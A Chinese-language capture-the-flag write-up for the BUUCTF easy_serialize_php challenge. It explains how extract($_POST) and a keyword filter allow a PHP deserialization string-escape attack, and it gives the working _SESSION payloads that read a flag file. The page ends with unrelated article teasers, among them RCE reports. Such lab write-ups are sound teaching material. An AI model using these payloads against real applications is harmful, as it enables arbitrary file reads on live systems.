BUUCTF [安洵杯 2019]easy_serialize_php

news2024/9/25 15:27:09

 

 这道题题目说easy但是对我来说极其不友好!看了很多wp讲的模棱两可,我尽量来说清楚点 

代码解析:

这里$function = @$_GET['f'],是我们通过get方式传递的,因为注释提示有东西先传f=phpinfo看看

找到了一个东西,很像存放flag的(出题人一般都会把flag文件名改的很怪),这里可以和代码末联系起来,利用file_get_contents从d0g3_f1ag.php读取flag

POST提交SESSION全局变量要按这样的格式

_SESSION[img]=

用$_SESSION在php里面代表全局变量,这里post传递不需要

接下来就得想办法在session里面传递img变量为上面获取到的文件名来读取了

下面是相关代码:

extract($_POST);

$_SESSION['img'] = base64_encode('guest_img.png');

$serialize_info = filter(serialize($_SESSION));

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img'])); }

d0g3_f1ag.php的base64编码为ZDBnM19mMWFnLnBocA==

如果我们直接设置$_SESSION['img'] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

会被$_SESSION['img'] = base64_encode('guest_img.png')这句代码进行变量覆盖,因为键名相同

在PHP中,反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中,就能让反序列化提前闭合结束,后面的内容也就自然读取不到,从而添加我们想要反序列化的数据。

php反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,如果出现这种情况s:10:"flag",键名长度为4,但规定长度为10,就会造成字符串逃逸向后读取,这里是我们解题的关键

构造payload:

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

后面代码中先进行序列化操作,原本的序列化数据应该为

a:2:{s:10:"imgphpflag";s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

a代表数组,和o代表对象一样,2是个数

然而因为filter函数的过滤,将php和flag过滤掉,因为指定的键名长度为10,产生了字符串逃逸,我们在后面随便添加几个垃圾字符让它往后读取形成一个新的键名,形成一个键值对,如下所示是payload过滤加上字符串逃逸后形成的序列化数据


a:2:{s:10:"img"aaaaaa";s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在这串序列化数据中img只有三位,通过我们构造向后读取7位("aaaaaa)满足10位后遇到双引号闭合,img"aaaaaa作为键

我们设定的这个session中的变量键名原本为imgphpflag,序列化操作是在给session全局变量中img赋值操作之后,两个键名不会产生冲突覆盖。而且这里并没有通过post方式提交数据也就不会调用extract($_POST)将Session中的所有覆盖掉,

这个变量中经过我们构造在最后反序列化之后里面的内容是两个关联数组,其中一个经过解码后正是d0g3_f1ag.php,可以被file_get_contents函数读取出来

所以先使用payload:

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

读取phpinfo中得到的文件,发现是flag文件路径

再将路径base64编码放入payload即可,payload:

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

别忘了把/带上编码

写的我自己脑子都有点乱乱的,有问题评论或者私我

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1949704.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux下usb抓包:wireshark+usbmon

step1. 加载usbmon模块 sudo mount -t debugfs none /sys/kernel/debug #这一步一般不用做,debugfs默认都是挂载的 sudo modprobe usbmon #如果这个命令找不到usbmon,那手动从/lib/modules中insmod sudo apt-get install wireshark 若加载成功&…

收银系统对零售连锁门店有什么作用?

随着人们生活水平的提高,各类零售门店也越来越多,对于零售连锁门店来说,如何提高客流量和客户忠诚度,提高会员的单次消费能力是一个重大的问题,能够决定性影响门店盈利额;从收银软件出发,一款好…

【文心智能体】00后疯感工牌生成器,低代码工作流的简单应用以及图片快速响应解决方案,干活满满,不容错过哦

背景 文心智能体平台,开启新一轮活动,超级创造营持续百日活动。 在AI 浪潮席卷的今天,如雨后春笋般丛生的 AI 应用,昭告着时代风口显然已随之到来。 如何能把握住时代红利,占据风口,甚至打造新风向&#x…

设计模式14-享元模式

设计模式14-享元模式 由来动机定义与结构代码推导特点享元模式的应用总结优点缺点使用享元模式的注意事项 由来动机 在很多应用中,可能会创建大量相似对象,例如在文字处理器中每个字符对象。在这些场景下,如果每个对象都独立存在&#xff0c…

Notion的离线替代方案Eidos

什么是 Eidos ? Eidos 是 Notion 的离线替代品。Eidos 是一个可扩展的框架,用于在一个地方管理您一生的个人数据。 软件特点: 一切在您的浏览器内运行。这是一个纯 PWA,没有 Web 服务器。 离线支持:无需互联网连接即可…

【漏洞复现】phpStudy 小皮 Windows面板 存在RCE漏洞

靶场资料后台自行领取【靶场】 image-20240726092307252 PhpStudy小皮面板曝RCE漏洞,本质是存储型XSS引发。攻击者通过登录用户名输入XSS代码,结合后台计划任务功能,实现远程代码执行,严重威胁服务器安全。建议立即更新至安全版…

算法:数值算法

矩阵乘法 定义与性质 矩阵乘法是线性代数中的一个基本运算,它涉及到两个矩阵的点积运算。给定两个矩阵 A(mn)和 B(np),它们的乘积 C(mp)定义为: 其中, Cij …

从零开始:在linux系统安装MongoDB数据完整指南 新手常用命令

1 前言 MongoDB 是为快速开发互联网应用而设计的数据库系统。MongoDB 的设计目标是极简、灵活、作为 Web 应用栈的一部分。MongoDB 的数据模型是面向文档的,所谓文档是一种类似于json的结构。 官网教程:https://www.mongodb.com/docs/manual/ 2 安装部…

Leaflet.VectorGrid加载点矢量瓦片鼠标点击报Cannot read properties of undefined的解决办法

在使用Leaflet.VectorGrid1.3.0进行点矢量瓦片数据的渲染时,再打开事件交互后,以mouseover为例,当事件添加后,鼠标悬停时,并没有展示相应的数据,反而在控制台下方报错。如下方所示: 本文将介绍在…

ZStack Cloud 5.1.8正式发布——GPU运维、物理机硬件监控、克隆云主机网络配置三大亮点简析

云轴科技ZStack Cloud云平台是遵循“简单、弹性、健壮、智能”的“4S”特性的私有云和无缝混合云产品。ZStack Cloud 5.1.8版本正式发布,从用户业务场景和实际需求出发,丰富和完善平台功能,推出一系列重要功能和多项改进,覆盖云主…

[vue3]引入模块出现红色波浪,但是可以正常运行,去除红色波浪号

问题1 解决问题1&#xff1a; 在vite-env.d.ts添加以下语句 declare module "*.vue" {import { DefineComponent } from "vue"const component: DefineComponent<{}, {}, any>export default component }

.NET威胁情报 | 某水务系统堆叠注入可RCE

01阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&#xf…

ROM修改进阶教程------修改rom 开机自动安装指定apk 自启脚本完整步骤解析

rom修改的初期认识 在解包修改系统分区过程中。很多客户需求刷完rom后自动安装指定apk。这种与内置apk有区别。而且一些极个别apk无法内置。今天对这种修改rom刷入机型后第一次启动后自动安装指定apk的需求做个步骤解析。 在前期博文中我有做过说明。官方系统固件解…

【Qt】Qt容器和STL容器的区别

1、简述 Qt容器和STL容器略有不同,作为一个Qter,应该知道它们之间的异同。 Qt容器官网介绍:https://doc.qt.io/qt-5/containers.html STL容器官网介绍:https://zh.cppreference.com/w/cpp/container 2、Qt容器和STL容器的对应关系 注意:QList 与 std::list 无关,QSet …

Infuse Pro for Mac全能视频播放器

Mac分享吧 文章目录 效果一、下载软件二、开始安装1、双击运行软件&#xff0c;将其从左侧拖入右侧文件夹中&#xff0c;等待安装完毕2、应用程序显示软件图标&#xff0c;表示安装成功 三、运行测试安装完成&#xff01;&#xff01;&#xff01; 效果 一、下载软件 下载软件…

每天五分钟深度学习:向量化方式完成逻辑回归m个样本的前向传播

本文重点 我们已经知道了向量化可以明显的加速程序的运行速度,本节课程将使用向量化来完成逻辑回归的前向传播,不使用一个for循环。 逻辑回归的前向传播 我们先来回忆一下逻辑回归的前向传播,如果我们有m个训练样本,首先对第一个样本进行预测,我们需要计算z,然后计算预…

【QT】SARibbon编译安装开启frameless(QWindowkit)

1.cmake开启frameless 2.检查cmakecache 3.下载编译qwindowkit 拉取saribbon时请 git clone https://github.com/czyt1988/SARibbon.git --recursive使用--recursive可以拉取第三方库 手动下载&#xff1a;https://github.com/stdware/qwindowkit 4.cmake构建 和 visual stu…

qt自定义控件(QLabel)

先创建自定义控件类painter_label 1.自定义类必须给基类传入父窗口指针 2.重写控件中的方法 3.在UI中创建一个QLabel,右键“提升为”&#xff0c;输入类名

后台管理系统登录安全和权限要求

一、前言 几乎所有的系统都有后台管理系统&#xff0c;后台登录需要账号和密码&#xff0c;后台管理员权限需要有控制。所有管理员的操作都应该有操作日志。 二、存在的问题 现在很多系统只需要账号和密码就能登录&#xff0c;有的还是简单账号和简单密码&#xff0c;就是弱口…

在WPF中使用WebView2详解

Microsoft Edge WebView2 Microsoft Edge WebView2 控件允许在本机应用中嵌入 web 技术(HTML、CSS 以及 JavaScript)。 WebView2 控件使用 Microsoft Edge 作为绘制引擎&#xff0c;以在本机应用中显示 web 内容。 使用 WebView2 可以在本机应用的不同部分嵌入 Web 代码&…